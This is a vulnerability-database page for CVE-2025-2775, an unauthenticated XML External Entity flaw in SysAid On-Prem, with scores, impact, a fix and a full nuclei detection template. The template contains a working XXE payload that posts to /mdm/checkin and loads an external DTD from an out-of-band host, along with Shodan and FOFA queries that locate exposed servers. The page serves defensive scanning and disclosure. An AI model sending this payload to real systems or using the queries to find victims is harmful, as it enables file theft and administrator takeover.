HexBrain

Browse / CVEs / CVE-2025-2775

CVE-2025-2775· sysaid / sysaid· CWE-611

SysAid On-Prem <= 23.3.40 - XML External Entity

Exploited in the wild. Listed by CISA on 2025-07-22; known to be used by ransomware.

criticalseverity
9.3CVSS score
43.2%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

SysAid On-Prem versions <= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the Checkin processing functionality, allowing for administrator account takeover and file read primitives.

Impact

Unauthenticated attackers can exploit XXE vulnerabilities in the Checkin endpoint to read arbitrary files, potentially leading to administrator account takeover and complete system compromise.

Fix

Upgrade to SysAid On-Prem version 24.40.60 or later that properly disables external entity processing.

How to confirm it

Send: POST /mdm/checkin
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "User-Agent: Java"

Run it with nuclei: nuclei -id CVE-2025-2775 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2025-2775

info:
  name: SysAid On-Prem <= 23.3.40 - XML External Entity
  author: johnk3r
  severity: critical
  description: |
    SysAid On-Prem versions <= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the Checkin processing functionality, allowing for administrator account takeover and file read primitives.
  impact: |
    Unauthenticated attackers can exploit XXE vulnerabilities in the Checkin endpoint to read arbitrary files, potentially leading to administrator account takeover and complete system compromise.
  remediation: |
    Upgrade to SysAid On-Prem version 24.40.60 or later that properly disables external entity processing.
  reference:
    - https://labs.watchtowr.com/sysowned-your-friendly-rce-support-ticket/
    - https://documentation.sysaid.com/docs/24-40-60
  classification:
    epss-score: 0.43173
    epss-percentile: 0.98733
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
    cvss-score: 9.3
    cve-id: CVE-2025-2775
    cwe-id: CWE-611
  metadata:
    max-request: 1
    vendor: sysaid
    product: sysaid
    shodan-query: http.favicon.hash:"1540720428"
    fofa-query: icon_hash=1540720428
  tags: cve,cve2025,oast,sysaid,xxe,kev,vkev,vuln

variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /mdm/checkin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <?xml version="1.0" ?>
        <!DOCTYPE foo [
        <!ENTITY % foo SYSTEM "http://{{interactsh-url}}/{{filename}}.dtd">
        %foo;
        ]>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: Java"

References

Use this check only on systems you are authorised to test. Where the data comes from